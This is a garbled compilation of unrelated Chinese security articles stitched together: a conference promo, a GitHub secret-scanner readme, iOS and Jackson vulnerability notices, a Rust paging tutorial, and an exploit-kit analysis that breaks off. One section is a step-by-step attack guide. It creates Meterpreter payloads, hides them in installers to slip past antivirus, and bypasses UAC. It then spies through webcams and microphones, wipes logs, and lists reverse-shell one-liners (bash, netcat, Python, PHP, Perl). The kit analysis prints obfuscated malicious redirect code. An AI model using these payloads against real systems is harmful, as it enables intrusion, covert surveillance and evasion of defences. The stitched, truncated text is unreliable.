640.webp (1).jpg

网络信息时代,网络信息攻防是没有尽头的战争。

不同的人扮演不同的角色,其中冲在前线的两个角色非“安全防御者”与“黑客”莫属。

而安全圈一个永恒的问题“黑客攻击变得越来越聪明,企业面临的挑战越来越艰巨”。

时代在发展,技术在革新,黑客技术亦是如此。

对于安全防御者来说,布置好各种防御策略及应急响应工作只是其基本操作之一,更重要的是他们要时刻了解黑客的攻击手段及攻击技术。

说到这里想起一句话,一些CTF比赛经常挂在嘴边上的一句话。

“未知攻,焉知防”。

红蓝jdsaflengln.jpg

小编觉得,这句话说得对,但不全对。

安全防御确实要做到知己知彼,但一味的局限于被动防御,被攻击牵着鼻子走,只能练就安全团队的救火能力,绝非长久之计。

作为防御方也应该主动出击,不断创新,研究和挖掘新的安全技术。

安全技术创新

如今,企业面临网络威胁质与量的双重考验。对于新时代的网络威胁,传统的虚拟机环境和被动策略都不再适用。

“云原生”可能会成为企业的新希望,它是一种构建和运行应用程序的方法,利用了云计算交付模型的优势。

2220386-2c06a6c6d3ecdcf5.webp.jpg

上图中涉及一些概念,请自行百科补习(图片发自简书App)

传统的虚拟机安全和云原生安全都可以防止黑客尝试连接到你的服务器。但是,云原生安全可做的更多。由于微服务使用的网络模式更具体和更精确,因此使用机器学习创建预测模型要容易得多。

不仅如此,云原生安全还可以防止中间人的黑客入侵、减轻勒索软件攻击等,帮助企业构建更安全,最强大IT架构。

故此,云原生是企业安全的下一个发展趋势。

XCon 2019议题:《云原生趋势下的安全方案实践与思考》

腾讯高级安全架构师郭铁涛先生,将在XCon 2019上进行关于云原生趋势下的安全方案分享。

郭铁涛.jpg

郭铁涛:现任腾讯高级安全架构师,曾供职于微软、阿里巴巴等企业安全岗位,拥有丰富的数据安全和网络安全等安全领域经验。

议题简介:云计算的不断普及,越来越多的企业将业务云化部署,也更加关注业务的敏捷性、可扩展性、故障可恢复性等,因此云时代的云原生概念顺势而来,得到很多企业的广泛关注。与此同时,如何更好地确保云原生趋势下的网络、系统、数据的安全,也就成为很多企业安全防护建设的挑战。本分享旨在通过腾讯自身的安全实践,与大家共同探讨在云原生趋势下关于安全方案的思考。

XCon 2019

XCon是业内著名的安全技术交流盛宴。在XCon 2019上,XCon组委会邀请到国内外众多知名技术专家,他们将会带来高质量的安全技术分享。这里拥有最前沿的技术分享、最具情怀行业交流、和最好的你。

时间:2019年8月19日-20日

地点:北京望京凯悦酒店

XCon 2019购票通道:https://ticket.4hou.com/pc/web/index.php?r=api%2Findex&activity_id=90

来自极客天才的思考——人工智能与安全的博弈

可微信扫码购票

XCon安全焦点信息安全技术峰会,始终致力于信息安全领域生态圈的建设,会议以前瞻性的知识与技术促进国内安全技术的发展。大批行业人才在此平台上涌现,XCon安全焦点信息安全技术峰会对全球信息安全技术探索、学术探索、人才挖掘、行业交流和国际交流起到重要推动作用。

GitMAD是一个用于发现Github上的敏感信息和数据泄漏的工具。通过给定关键字或域,GitMAD便会搜索Github上托管的代码,以查找是否存在匹配项。一旦找到了匹配项,GitMAD将克隆存储库并在文件中搜索一系列可配置的正则表达式。然后,GitMAD会获取这些结果,并将它们插入到数据库中供后续的查看使用。这些结果也可作为邮件警报发送。另外,GitMAD将持续运行以发现与输入关键字匹配的新存储库。

输入

除此之外,用户还可以配置每次搜索的最大结果量,搜索间隔时间以及要克隆的存储库的大小范围。有两种模式,Monitor和Discovery。Discovery模式将在每次运行时提取并搜索新结果。Monitor模式则会首先下载给定关键字/域的所有匹配项搜索它们,然后继续搜索新结果。

处理

GitMAD从上面获取结果并搜索存储库的Git历史记录。 搜索历史记录以查找一组可配置的正则表达式。GitMAD还可以对历史文件的每一行进行分解,并在信息熵(Shannon entropy)中搜索匹配项。

配置文件

regex_matches.py

这是将关键字和正则表达式放在存储库内容中进行搜索的位置,只需在下面的列表中添加字典即可:

to_match = [
    {'match_regex': r'password', 'match_type': 'Password Match'},
    {'match_regex': r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', 'match_type': 'IP Match'},
    {'match_regex': r'username', 'match_type': 'Username Match'},
    {'match_regex': r'\b[\w.]*@[\w]*\.[\w.]*\b', 'match_type': 'Email Match'}
    ]

entropy_whitelist.py

这是移除Entropy功能匹配你不想要的项目位置。只需在下面的列表中添加字典即可:

r_whitelist = [{'regex':r'\b[A-Za-z][a-z]+([A-Z][a-z]*)+\b'}] # Camel Case

输出

GitMAD获取上面的结果,并将它们插入到一个数据库中,该数据库包含有关找到匹配项的文件以及存储库的信息。它还插入了匹配的字符串和匹配的行。这些结果可通过邮件警报,数据库和Web应用获得。

当前状态

该项目正在积极开发中。

安装

GitMAD最初是在Windows上用Python3.6编写的。它也在Ubuntu 18.04上进行了测试。

环境要求

Python 3.6+

Pip for Python3

Git

MySQL 8.0

如果是Windows系统你可以直接从Oracle网站下载MySQL8.0。如果是Ubuntu 18.04,其默认版本仍为5.7,因此你必须升级你的当前版本:

wget -c https://dev.mysql.com/get/mysql-apt-config_0.8.12-1_all.deb 
sudo dpkg -i mysql-apt-config_0.8.12-1_all.deb
#select version 8.0
sudo apt update 
sudo apt install mysql-server
sudo mysql_secure_installation

Ubuntu 18.04 安装步骤

1)克隆存储库并进入到目录:

git clone https://github.com/deepdivesec/GitMAD.git
cd GitMAD

2)安装依赖项:

pip3 install -r requirements.txt

3)向MySQL添加脚本:

$sudo mysql -u username -p
mysql> source /<path-to-gitmad>/GitMAD/github_search_db.sql

4)运行main.py并在首次运行时输入配置信息:

python3 /<path-to-gitmad>/GitMAD/main.py -q <keyword-to-search> [see other options below]

gitmad-help.png

5)运行Web应用:

python3 /<path-to-gitmad>/GitMAD/web_home.py

6)(可选)下载并安装MySQL Workbench与结果直接进行交互。

Ubuntu安装动图请在此处查看。

已知问题

有时,无论存储库的大小如何,GitHub API都会返回0。该问题尚未处理,而被克隆的存储库大于-mx/–max的大小这个问题,正在处理中。

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

computer-programmers-type-code-laptop_29110-6.jpg

如果你已经用胶条封住了你的网络摄像头,你可能是因为听说过黑客或NSA可以远程监视你。那么问题来了,这些你素未谋面人又是如何远程连接到你的机器并监视你的呢?

这可能是因为你将你的CCTV,IP摄像头公开暴露在了互联网上,而攻击者又在Shodan等网站上发现了它们。加之你又没有更改它们的默认密码和bam,导致攻击者顺利控制了你的摄像头,并对你的一举一动进行监视。

以上是物联网摄像头最常见的安全问题。但如果是内置的网络摄像头,那么更可能的解释是攻击者通过Meterpreter payload入侵并控制了它。使用Meterpreter攻击者可以获取到一个反向shell,这也是本文将要讨论的内容。有关Meterpreter的更多信息,请参阅:https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

这里,你可能有个疑问。为什么攻击者不直接访问你的机器,而是通过一个反向shell呢?其实原因很简单,因为直接访问的方式很可能会被阻止。相比起出站流量,入站流量更容易受到限制。另一方面,如果我们主动进行连接,那么目标机器更有可能放行该流量。这是因为目标机器想要与我们的机器建立连接。

1.png

msfvenom是一个框架,我们将用它来获取一个反向shell。它已被预装在了Parrot和Kali上。首先,让我们运行以下命令来创建Meterpreter reverse TCP shell payload。

msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.X.X LPORT=4444 -o /home/parrot/name.exe

2.png

创建完成后,现在让我们来上传它……….blocked。这是因为MeterPreter payload名声在外,早已被各个安全软件所标记,因此大多数的安全软件都能够发现阻止/隔离它。

3.png

我们可以尝试使用一个名为Shellter的工具,来更改其哈希并将反向shell嵌入到另一个文件当中。之所以选择将shell嵌入到一个安装文件中,是因为大多数安装文件需要以管理员身份运行。正如你在之后将看到的那样,以管理员身份运行漏洞利用程序,可以为我们省去很多的麻烦。

你可以通过shelter来直接启动它。同样,它已被预装在了Parrot和Kali上。

4.png

让我们使用Auto [A]并定位我为本例创建的可执行文件。

5.png

接下来,我们选择反向TCP shell并输入我们机器的IP和端口(攻击者)。完成后,它会将shell嵌入到你选择的exe文件中,以便你将其上传到目标机器。现在你需要通过一种方法将它放到目标机器上,但对于本例我将复制并粘贴。

虽然,我们隐藏了Meterpreter shell,但AV还是成功地检测到了它。为了便于我们的演示,我们现在暂时先将AV关闭。当然,在现实场景中攻击者不可能像我这么随意,更多的是通过技术手段击溃AV,或是创建一个目标无法检测的payload。

然而,尽管屏蔽了Meterpreter外壳,AV仍设法检测到它。 我现在就打算把它关掉,因为我可以。 在现实世界中,攻击者会将AV瘫痪或使其盲目,以便他们可以降低有效载荷。

现在,让我们运行它。

在开始之前,让我们在攻击机机上加载msfconsole(Metasploit)并运行以下命令:

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.X.X
set LPORT 4444
run

6.png

你的会话将侦听反向shell脚本中指定的端口和IP。现在,我们以用户身份运行exploit:

7.png

正如你在右侧所看到的,我们有几次会话建立失败的情况。这就是我之前提到的为什么需要用户以管理员身份运行的原因。那样就可以顺利运行和注入所有的脚本和DLL。如果用户以管理员身份运行,你将不会看到任何失败的情况。如下所示:

8.png

成功获取反向shell后,现在我们就可以针对目标机器执行我们想要的操作了。如果你的目标是摄像头,那么你可以执行以下操作:

Show Webcams: webcam_list
Webcam Snap Help: webcam_snap -h
Take a Picture and don’t load the image after: webcam_snap -i 1 -v false
Record audio: record_mic
Record Webcam: run webcam -p /var/www/
Stop recording: run webcam -s

9.jpg

不仅仅是网络摄像头(Webcams)。你还可以执行更多其他的命令。例如:清除所有日志(应用程序,系统和安全日志):clearev

这只是一个例子,黑客也不太可能会运行它。因为这么做反而会打草惊蛇提醒了管理员。如果一台机器你发现所有日志都被清除了,那么你可以初步断定有人已经使用过它了。相反,攻击者更有可能的是删除选择的事件来掩盖他们的痕迹。

所有这些都需要管理员权限,而你的用户可能无法使用提升的权限来运行它。那么,你可以使用像bypassuac_comhijacker这样的命令。首先,你仍需要得到一个普通用户级别的反向shell。

获得shell后,输入background并按Enter键。这会将当前会话移至后台。然后你就可以针对当前会话使用bypassuac_comhijack漏洞利用程序了,如下:

10.png

然后,你可以回到原始会话并运行以下命令:

11.png

成功运行后,你将获取到一个admin shell。为了与目标机器建立长期稳定的后门连接,我们需要将我们的反向shell隐藏在一个更为隐蔽和稳定的进程中(而不是Putty exe或installer文件中)因为这些应用一旦被关闭,我们的连接就将丢失。这就是为什么我们需要尽快迁移我们的反向shell,到那些可以持续运行进程中的原因。

12.png

首先,让我们查看正在运行的进程有哪些。

13.png

找到相对稳定的进程后,运行migrate [PID]

14.png

然后,它会将你的Meterpreter会话迁移到另一个进程中。这样即使他们关闭了被利用的应用程序,你的会话也将被保留。

正如你所看到的,Meterpreter非常的强大。但这并不是你获得反向shell的唯一方法。你还可以使用Netcat。相比起Meterpreter,某些AV供应商并不将其视为威胁。你可以点击此处,查看virustotal中的检测结果。

15.png

你可以在Parrot或Kali上的usr/share/windows-binaries/nc.exe下找到Netcat。将nc.exe上传到目标机器后,我们可以运行nc.exe [Attacker IP] [Port] -e cmd.exe。

16.png

在攻击者机器上我们需要侦听连接,这可以通过运行nc -lvp [Chosen port]命令来完成。

你将获取到一个普通用户权限的简单反向shell,这对你来说是一个好的开始。然后,你可以通过它来进一步的利用系统获得管理员权限。以下是一些运行反向shell的示例:

PHP

php -r ‘$sock=fsockopen(“192.168.0.10”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Bash

bash -i >& /dev/tcp/192.168.0.1/8080 0>&1

Netcat Linux

nc 192.168.0.10 1234 -e /bin/sh

Python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.0.10”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Perl

perl -e ‘use Socket;$i=“192.168.0.10”;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,

*参考来源:ctrlaltdel,FB小编secist编译,转载请注明来自FreeBuf.COM

CVE-2019-8646漏洞

Google Project Zero安全研究人员Natalie Silvanovich 5月发现了苹果iMessage 的一个漏洞 CVE-2019-8646,并报告给了苹果。远程攻击者利用该漏洞可以在没有用户交互的情况下远程读取iOS设备上保存的文件内容。Silvanovich的PoC只在iOS 12及更高版本上运行,而且只是简单证明了Springboard中类的可达性。该漏洞的实际影响可能更加严重。

安全研究人员分析发现 iMessage漏洞是由_NSDataFileBackedFuture类引起的,该类可以在启用了安全编码后反序列化。该类是一个文件NSData对象,可以在[NSData bytes] selector调用后加载本地文件到内存中。

首先,该漏洞允许对本地文件的非授权访问(卡能是使用序列化对象来进行本地通信的组件中产生的问题)。

第二,该漏洞允许创建与字节数组长度不同的NSData对象。这违反了NSData对象应该是True的基本属性。这会引发越界读,因此可能会引发越界写,因为可能会创建非常大的NSData对象。

该漏洞已于2019年7月22日发布的iOS 12.4中修复了该漏洞,修复的方式是防止该类被解码,除非加入到allow列表中,并实现了更好地文件URL过滤。

根据iOS发布的更新,越界读漏洞存在于Siri和Core Data iOS组件中,影响iPhone 5s及之后所有版本手机,iPad Air及之后版本,iPod touch 6代及之后版本设备。

随着该漏洞POC的公布,以及iOS 12.4的发布,研究人员强烈建议用户尽快更新到最新版本的iOS。

iOS 12.4中修复多个iMessage漏洞

Silvanovich和Google Project Zero的Samuel Groß等发现的多个iMessage 漏洞都在iOS 12.4中进行了修复。

第一个是CVE-2019-8660——core data内存漏洞,该漏洞可以让远程攻击者导致app意外停止运行或任意代码执行,影响iPhone 5s及之后所有版本手机,iPad Air及之后版本,iPod touch 6代及之后版本设备。修复方式为增加长度检查。

第二个漏洞是 CVE-2019-8647,Core Data UAF漏洞,远程攻击者利用该漏洞可以执行任意代码,影响Phone 5s及之后所有版本手机,iPad Air及之后版本,iPod touch 6代及之后版本设备。

Silvanovich一共发现了5个iMessage漏洞,剩下的3个分别是两个输出有效性验证漏洞和1个越界读漏洞。利用输出有效性验证漏洞可以用伪造的消息来将设备变砖(已于5月13日修复),越界读漏洞可能会导致内存泄露,已于2019年7月22日修复。

一、前言

FasterXMLjackson-databind是一个简单基于Java应用库,Jackson可以轻松的将Java对象转换成json对象和xml文档,同样也可以将json、xml转换成Java对象。

二、漏洞简介

FasterXMLjackson-databind2.9.9.2以下版本存在反序列化漏洞补丁绕过。

三、漏洞危害

经斗象安全应急响应团队分析,攻击者可以通过精心构造的请求包可以在受影响的Jackson服务器上进行远程代码执行。

640.png

四、影响范围

产品

FastXML

版本

FasterXMLjackson-databind<2.9.9.2

FasterXMLjackson-databind<2.10.0

FasterXMLjackson-databind<2.7.9.6

FasterXMLjackson-databind<2.8.11.4

组件

FasterXMLjackson-databind

FasterXMLback-ported

五、修复方案

1、升级FasterXMLjackson-databind版本到2.9.9.2,2.10.0,2.7.9.6,2.8.11.4

2、不开启Jackson的defaultTyping选项

六、参考

https://github.com/FasterXML/jackson-databind/issues/2389

https://github.com/FasterXML/jackson-databind/issues/2387

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14379

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14361

https://github.com/Heartway

https://github.com/yeahx

以上是本次高危漏洞预警的相关信息,如有任何疑问或需要更多支持,可通过以下方式与我们取得联系。

联系电话:400-156-9866

Email:[email protected]

Rust是一门系统编程语言,专注于安全,尤其是并发安全,支持函数式和命令式以及泛型等编程范式的多范式语言。Rust在语法上和C++类似,但是设计者想要在保证性能的同时提供更好的内存安全。 Rust最初是由Mozilla研究院的Graydon Hoare设计创造,然后在Dave Herman, Brendan Eich以及很多其他人的贡献下逐步完善的。 Rust的设计者们通过在研发Servo网站浏览器布局引擎过程中积累的经验优化了Rust语言和Rust编译器。 

Rust编译器是在MIT License 和 Apache License 2.0双重协议声明下的免费开源软件。 Rust已经连续三年(2016,2017,2018)在Stack Overflow开发者调查的“最受喜爱编程语言”评选项目中折取桂冠。

本文介绍了内存分页技术,这是一种非常常见的内存管理方案,我们也将该技术用于通过 Rust 编写操作系统中。内存分页技术解释了为什么需要内存隔离、分段如何工作、虚拟内存是什么以及分页如何解决内存碎片(memory fragmentation)问题。另外,本文还探讨了x86_64体系结构上的多级页表布局情况,本文的完整源代码可以在GitHub 的post-08主题中找到。

内存保护

操作系统的一个主要任务是将程序彼此隔离。例如,web浏览器不应该干扰文本编辑器。为了实现这个目标,操作系统利用硬件功能来确保一个进程的内存区域不被其他进程访问。根据硬件和操作系统实现的不同,有不同的方法。

例如,一些ARM Cortex-M处理器(用于嵌入式系统)有一个内存保护单元(MPU),它允许你定义少量具有不同访问权限(例如无访问权限、只读限、写入权限)的内存区域。在每次内存访问时,MPU都会确保该地址位于具有正确访问权限的区域,否则发出异常警报。通过更改每个进程切换(process switch)上的区域和访问权限,操作系统可以确保每个进程只访问自己的内存,从而将进程彼此隔离。

在x86上,硬件支持两种不同的内存保护方法:分段分页

分段

分段技术早在1978年就已经被开发出来了,最初是为了增加可寻址内存的数量。当时的情况是cpu只使用16位地址,这将可寻址内存的数量限制为64KiB。为了使更多的64KiB可访问,就需要引入额外的段寄存器,每个段寄存器包含一个偏移地址。CPU会在每次内存访问时自动添加这个偏移量,以便可访问高达1MiB的内存。

段寄存器由CPU根据内存访问的类型自动选择,比如获取指令使用代码段CS,而堆栈操作(push/pop)则使用堆栈段SS。其他指令使用数据段DS或额外段ES。后来,又增加了两个可以自由使用的段寄存器FS和GS。

在第一版的分段技术中,段寄存器直接包含偏移量,不执行访问控制。后来,随着保护模式的引入,这种情况发生了改变。当CPU以此模式运行时,段描述符包含本地或全局描述符表的索引,该表除了包含偏移地址外,还包含段大小和访问权限。通过为每个进程加载单独的全局或本地描述符表,将内存访问限制在进程自己的内存区域,操作系统可以将进程彼此隔离。

通过在实际访问之前修改内存地址,分段技术已经使用了一种几乎无处不在的技术——虚拟内存。

虚拟内存

虚拟内存是计算机系统内存管理的一种技术。它使得应用程序认为它拥有连续的可用的内存(一个连续完整的地址空间),而实际上,它通常是被分隔成多个物理内存碎片,还有部分暂时存储在外部磁盘存储器上,在需要时进行数据交换。目前,大多数操作系统都使用了虚拟内存,如Windows家族的“虚拟内存”;Linux的“交换空间”等。

Windows 8/8.1 操作系统如出现开机时卡在Windows徽标页面,无法进入系统,必须强制关机再重启才能打开时,可适当调整虚拟内存设置解决。

归根结底,虚拟内存背后的思想是从底层物理存储设备抽象出内存地址。首先执行转换步骤,而不是直接访问存储设备。对于分段来说,转换步骤是添加活动段的偏移地址。假设一个程序在偏移量0x1111000的段中访问内存地址0x1234000,则经过转换,实际访问的地址是0x2345000。

为了区分这两种地址类型,转换前的地址称为虚拟地址,转换后的地址称为物理地址。这两种地址的一个重要区别是,物理地址是惟一的,并且总是指向相同的、不同的内存位置。另一方面,虚拟地址依赖于转换功能。所以很有可能,两个不同的虚拟地址完全有可能指向同一个物理地址。同样,相同的虚拟地址在使用不同的转换功能时可以引用不同的物理地址。

如下所示,使用这个属性的一个示例是,并行运行相同的程序两次:

1.png

在这个示例中,相同的程序运行两次,但却使用了不同的转换功能。第一个示例的段偏移量为100,因此它的虚拟地址0-150被转换为物理地址100 – 250。第二个示例的段偏移量为300,因此它的虚拟地址0-150被转换为物理地址300 – 450。这允许两个程序运行相同的代码并使用相同的虚拟地址,但不会相互干扰。

另一个优点是,程序现在可以放在任意物理内存位置,即使它们使用完全不同的虚拟地址。因此,操作系统可以利用全部可用内存而无需重新编译程序。

内存碎片

内存分配有静态分配和动态分配两种, 静态分配在程序编译链接时分配的大小和使用寿命就已经确定,而应用上要求操作系统可以提供给进程运行时申请和释放任意大小内存的功能,这就是内存的动态分配。

因此动态分配将不可避免会产生内存碎片的问题,那么什么是内存碎片?内存碎片即“碎片的内存”描述一个系统中所有不可用的空闲内存,这些碎片之所以不能被使用,是因为负责动态分配内存的分配算法使得这些空闲的内存无法使用,这一问题的发生,原因在于这些空闲内存以小且不连续方式出现在不同的位置。因此这个问题的或大或小取决于内存管理算法的实现上。

虚拟地址和物理地址的区别使得分段功能显得异常强大,然而,分段却存在着碎片化的问题。例如,假设我们想运行上面看到的程序的第三个副本:

2.jpg

即使有足够多的空闲内存可用,也不可能不重叠地将程序的第三个示例映射到虚拟内存。问题是我们需要连续的内存,而不能使用小的空闲块。

解决这种碎片问题的一种方法是暂停执行,将内存中已使用部分整合到起,更新转换后,然后重新执行。

3.png

现在,就有足够的连续空间来启动程序的第三个示例了。

不过,这种碎片整理过程的缺点是需要复制大量内存,这会降低性能。在内存变得过于碎片化之前,还需要定期执行此操作。这使得性能变得不可预测,因为程序会在随机时间暂停,并且可能变得无响应。

碎片问题是大多数系统不再使用分段的原因之一,实际上,x86上的64位模式甚至不再支持分段。而是使用分页,这完全避免了碎片问题。

分页

分页的思想是将虚拟内存空间和物理内存空间都划分为固定大小的小块,此时虚拟内存空间的块称为页,物理地址空间的块称为帧。每个页面都可以单独映射到一个帧,这使得在非连续物理帧之间,分割出更大的内存区域成为可能。

如果我们回顾一下碎片内存空间的示例,就会发现使用分页的优势。

4.png

在本文的示例中,我们有一个50字节的页面大小,这意味着我们的每个内存区域都被分为三个页面。每个页面都单独映射到一个帧,因此连续的虚拟内存区域可以映射到非连续的物理帧,这允许我们在不执行任何碎片整理之前启动程序的第三个示例。

隐藏的碎片

与分段相比,分页会造成大量小的、固定大小的内存区域,而不像分段那样,是一些大的、可变大小的区域。因为每个帧都有相同的大小,所以没有太小而不能使用的帧,因此不会发生碎片。

表面上起来,是不会发生什么碎片问题的。但其实还是有一些隐藏的碎片,也就是所谓的内部碎片。发生内部碎片是因为并非每个内存区域都是页面大小的精确倍数。

内部碎片的产生:因为所有的内存分配必须起始于可被 4、8 或 16 整除(视处理器体系结构而定)的地址或者因为MMU的分页机制的限制,决定内存分配算法仅能把预定大小的内存块分配给客户。假设当某个客户请求一个 43 字节的内存块时,因为没有适合大小的内存,所以它可能会获得 44字节、48字节等稍大一点的字节,因此由所需大小四舍五入而产生的多余空间就叫内部碎片。

内部碎片虽然无法避免,且仍然会浪费内存,但不需要进行碎片整理,并且可以预测碎片数量(每个内存区域平均有半页)。

页表

我们看到,每个潜在的数百万个页面都被单独映射到一个帧,而这个映射信息需要存储在某个地方。分段为每个活动的内存区域使用单独的段选择器寄存器。而分页则是不可能实现这个的,因为页面比寄存器多得多,分页使用名为page table的表结构来存储映射信息。

对于上面的示例,页表应该是这样的:

5.jpg

我们看到每个程序示例都有自己的页表,指向当前活动表的指针存储在一个特殊的CPU寄存器中。在x86上,这个寄存器称为CR3。操作系统的任务是在运行每个程序示例之前,用指向正确页表的指针加载该寄存器。

在每次内存访问时,CPU从寄存器中读取表指针,并在表中查找被访问页面的映射帧。这完全是在硬件中完成的,并且对运行中的程序完全透明。为了加快转换过程,许多CPU架构都有一个特殊的缓存,它可以记住最后一次转换的结果。

根据体系结构的不同,页表条目还可以在标志字段中存储访问权限等属性。在上面的示例中,“r/w”标志使页面可读又可写。

多级页表

我们刚才看到的简单页表在较大的地址空间中存在一个问题:浪费内存。例如,假设一个程序使用四个虚拟页面0、1_000_000、1_000_050和1_000_100(我们使用_作为千位分隔符)。

6.png

它只需要4个物理帧,但是页表有超过100万个条目。我们不能省略空条目,因为这样CPU就不能再直接跳转到转换过程中的正确条目,例如,不能再保证第四个页面使用第四个条目。

为了减少内存的浪费,我们可以使用一个两级页表( two-level page table),为不同的地址区域使用不同的页表。另一个名为level 2 页表的附加表则包含地址区域和(level 1)页表之间的映射。

下面举一个示例来解释,让我们定义每个1级页表负责一个大小为10_000的区域。然后,上面的示例映射将存在以下表:

7.png

第0页属于第一个10_000字节区域,因此它使用2级页表的第一个条目。此条目指向1级页表T1,指定页0指向第0帧。

页1_000_000、1_000_050和1_000_100都属于第100个10_000字节区域,因此它们使用2级页表的第100个条目。该条目指向不同的1级页表T2,该表将这三个页面映射到帧100、150和200。注意,1级表中的页地址不包括区域偏移量,因此,例如第1_000_050页的条目仅为50。

现在,我们在2级表中仍然有100个空条目,但是比之前的100万个空条目要少得多。其原因是,我们不需要为10_000到1_000_000之间的未映射内存区域创建1级页表。

两级页表的原理可以扩展到三级,四级或更多级,然后页表寄存器指向最高级别的表,该表指向下一个较低级别的表,依此类推。然后,1级页表指向映射的帧,该原则一般称为多级或分层页表。

既然我们已经知道分页和多级页表是如何工作的,看一下如何在x86_64架构中实现分页(我们假设CPU在64位模式下运行)。

本文我们对分段和分页的优缺点进行了介绍后,还是决定用分页技术对编写操作系统。下篇文章,我会接着介绍分页的具体使用过程和其中所遇到的问题。

摘要

本文主要介绍Cybereason团队观察到的漏洞利用工具包Spelevo,并细述其漏洞利用、感染方法,以及传播Shade勒索软件的过程。

介绍

Cybereason团队注意到,今年以来针对日本的漏洞利用工具包(EK)开发活动呈增长趋势,原因可能是因为在日本老旧的操作系统相对较多。此次观察到的新工具包于今年三月初发现。

有报告称,EK开发人员的投入和回报往往不成正比,相比较他们投入的时间金钱,所获得的利润并不大。

此外,绝大多数漏洞利用工具包仅对微软的Internet Explorer有效,随着近年来谷歌Chrome和Firefox浏览器的日益普及,只剩下很少的用户在用Internet Explorer。

与Internet Explorer相比,Chrome和Firefox不仅功能上更为完善,且更能保障用户的安全,

比如后者拒绝使用Adobe Flash-AX,而Adobe Flash-AX也是此次攻击者在利用漏洞时所选择的软件。Adobe Flash-AX是默认设置的,Chrome之类的浏览器都有一个有效的补丁和更新措施,且由于大多数Chrome都是默认更新,每次漏洞发布时都会自行更新,等到EK开发人员开始利用已发布漏洞时就无用武之地了。

虽然在过去几年开发工具包的活动有所减少,但我们仍会看到有新的工具包不断出现,不管原因是什么,既然已经存在,我们还是应该做好准备,同时我们看到,攻击者也在工具包中不断融入新技术升级换代。比如今年年初,Fallout漏洞利用工具包在其库中添加了对PowerShell的使用,而在本文Spelevo EK的案例中则涉及对Windows Management Instrumentation(WMI)的使用。

Spelevo类似于RIG和GrandSoft之类的EK,很可能由俄罗斯黑客组织开发,这些工具包每月的“租金”约为1000美元至1500美元。

此次攻击攻击者将Spelevo EK和Shade捆绑在一起,能在受害者难以察觉的情况下完成诈骗,这点与Shade勒索软件的主要用途有点不一样。我们之前有研究过,欺诈点击每年都在以50%的速度在增长,是快速而又隐蔽赚钱的一种方法。

技术分析

1.png

图1.Spelevo漏洞利用工具包的感染流程

Spelevo的感染机制与Fallout相似:用户浏览网页时如果访问了受感染的网站,就会被悄悄重定向到漏洞利用工具包的登录页面。过去大多数受感染的网站都是成人网站,但这次却是一个合法的电视服务网站。

2.png

图2.感染模式

漏洞利用工具包通常由流量分配系统(TDS)传播,TDS是负责流量分配的中介,能控制大量的流量,并收集攻击者可以利用的统计数据以改进攻击。攻击者可以根据地理位置、浏览器类型等控制重定向目标,以及选择攻击受害者的恶意软件类型。

Fallout和Spelevo通过HookAds恶意广告传播,基础设施也是相同的。在撰写本文时活动仍在运行,每天都会注册新域名。在我们的分析过程中,一些域已经被新的替换。

3.PNG

图3.Spelevo的域名

快速轮换是存活下来的原因。重定向的代码(取自todaymale[.]xyz)包括一些浏览器检查和负责进一步重定向的代码。

HOOKADS 重定向和SPELEVO登陆页面

浏览器检查:

function getBrowser() {[REDACTED] try{ var bName = function () { if (ua.search(/Edge/) > -1) return "edge"; if ((ua.search(/MSIE/) > -1) || (ua.search(/Trident/) > -1)) return "ie"; if (ua.search(/Firefox/) > -1) return "firefox"; if ((ua.search(/Opera/) > -1) || (ua.search(/OPR/) > -1)) return "opera"; if (ua.search(/YaBrowser/) > -1) return "yabrowser"; if (ua.search(/Chrome/) > -1) return "chrome"; if (ua.search(/Safari/) > -1) return "safari"; if (ua.search(/Maxthon/) > -1) return "maxthon"; else return "unknown"; }();

恶意eval重定向功能:

eval(function(a, b, c, d, e, f) { e = function(a) { return (a < b ? "" : e(parseInt(a / b))) + ((a %= b) > 35 ? String.fromCharCode(a + 29) : a.toString(36)); }; if (!"".replace(/^/, String)) { while (c--) f[e(c)] = d[c] || e(c); d = [ function(a) { return f[a]; } ]; e = function() { return "\\w+"; }; c = 1; } while (c--) if (d[c]) a = a.replace(new RegExp("\\b" + e(c) + "\\b", "g"), d[c]); return a;}('8 c="z"+"B"+"E"+"C+/"+"=";q u(1){8 5="";8 d,h,k="";8 l,a,7,b="";8 i=0;8 v=/[^A-w-x-9\\+\\/\\=]/g;e(v.D(1)){}1=1.G(/[^A-w-x-9\\+\\/\\=]/g,"");F{l=c.f(1.j(i++));a=c.f(1.j(i++));7=c.f(1.j(i++));b=c.f(1.j(i++));d=(l<<2)|(a>>4);h=((a&H)<<4)|(7>>2);k=((7&3)<<6)|b;5=5+o.m(d);e(7!=p){5=5+o.m(h)}e(b!=p){5=5+o.m(k)}d=h=k="";l=a=7=b=""}I(i<1.W);X 11(5)}q Y(){t=10();e(t.Z==U){n.V(\'\')}M{s.r[0].n.L.J=\'<y K="O" P="T" S="\'+u(\'R==\')+\'"></y>\';s.r[0].n.Q[0].N()}}', 62, 64, "|input||||output||enc3|var||enc2|enc4|keyStr|chr1|if|indexOf||chr2||charAt|chr3|enc1|fromCharCode|document|String|64|function|frames|window|BrowserInfo|decode64|base64test|Za|z0|form|ABCDEFGHIJKLMNOP||QRSTUVWXYZabcdef|wxyz0123456789|exec|ghijklmnopqrstuv|do|replace|15|while|innerHTML|target|body|else|submit|_parent|method|forms|aHR0cDovL2FkMy5kb2dmdW5ueXZpZGVvcy54eXovbXlkb2dneXN0eWxld2l0aHlvdXJraXR0eQ|action|post|true|write|length|return|visits|allright|getBrowser|unescape".split("|"), 0, {}));

发送给eval的代码解压到:

